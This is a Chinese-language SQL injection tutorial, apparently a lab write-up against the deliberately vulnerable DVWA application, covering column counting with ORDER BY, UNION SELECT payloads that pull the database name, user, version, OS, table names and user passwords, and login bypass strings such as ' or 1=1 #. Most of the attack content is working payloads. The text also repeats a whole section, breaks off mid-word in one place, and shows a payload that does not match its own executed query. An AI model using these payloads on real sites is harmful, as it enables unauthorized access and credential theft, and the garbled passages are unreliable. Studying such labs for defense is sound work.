SQL注入总结

SQL注入

一.  Sql注入入门知识点总结

1. 猜解数据库

1)     设想这样的一个场景当我们要输入一个用户id，我们输入栏中输入1

这时候其实在后台执行的代码为

SELECT first_name, last_name FROM users WHERE user_id = '1';

2)     如果我们不按常理出牌而是在输入框中输入1‘ order by 1#

那么这时候后台执行的代码就变成了：

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 #‘(按照sql的语法#起注释作用所以#后面的单引号就被注释掉了)

当我们输入order by 1的时候可能不会报错那么我们这时候可以尝试 23456，直到报错为止

假如当数字等于3的时候报错，那说明当前表只有两个字段并且只有2列

1. 接下来使用union select 联合查询继续获取信息

Union select运算符可以将两个或者两个以上的select语句查询结果集合合并成一个结果集合显示，即执行联合查询需要注意的是使用union查询的时候需要和主查询的列数相等，而且我们之前已经知道主查询的列数是2，接下来就好办了

1)     这时候我们输入1‘ union select database(),user()#进行查询

  Database()将会返回当前网站所使用的数据库名字

  User()将会返回执行当前查询的用户名

实际执行的sql语句是：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #;

通过查询的结果我们可以看出

  当前执行查询用户名为root@localhost

  当前使用的数据库是dvwa

2)     接下来我们尝试获取输入1' union select version(),@@version_compile_os#进行查询

  version() 获取当前数据库版本.

  @@version_compile_os 获取当前操作系统

实际执行的sql语句是 ：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

通过查询的结果我们可以清晰的看出

  当前执行查询用户名为root@localhost

  当前使用的数据库是dvwa

2)     接下来我们尝试获取输入1' union select version(),@@version_compile_os#进行查询

  version() 获取当前数据库版本.

  @@version_compile_os 获取当前操作系统

实际执行的sql语句是 ：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

b的版本以及操作系统的类型

  当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.

  当前操作系统为 : debian-linux-gnu

3)     接下来我们尝试获取dvwa数据库中表名

information_schema 是 mysql 自带的一张表，这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名，数据库的表，表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表，该表包含两个字段 table_name 和 table_schema，分别记录 DBMS 中的存储的表名和表名所在的数据库。

       我们输入1‘ union select table_names,table_schema from information_schema.tables where table_schema = ‘dvwa’ #

       实际执行的的sql语句是：

       SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通过查询的结果我们可以清晰的看出

l  Dvwa数据库有两个数据表，分别是guestbook，和users

4)     接下来我们尝试获取重量级用户名和密码

由经验我们可以大胆猜测users数据表里面的字段是user 和password所以输入：

1’ union select user,password from users #

实际执行的的sql语句是：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

通过查询的结果我们可以清晰的看出

用户名以及密码

二.  Sql注入实验二验证绕过

1. 怎么做能绕过登陆页面呢？

我们可以尝试输入 123 ‘ or 1=1 123 ‘ or 1=1

下面我们就来分析一下

实际执行的的sql语句是：

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照mysql的语法#后面的东西会被忽略掉所以即便我们即便输入 ‘ or 1=1 #(密码栏不输入东西结果也是一样的)

由于判断语句 or 1=1 恒成立所以不管前面输入的什么都能成功登陆

我们不在尝试使用#屏蔽单引号，采用手动闭合式

123‘ or ‘1’ =’1 这样同样能登陆成功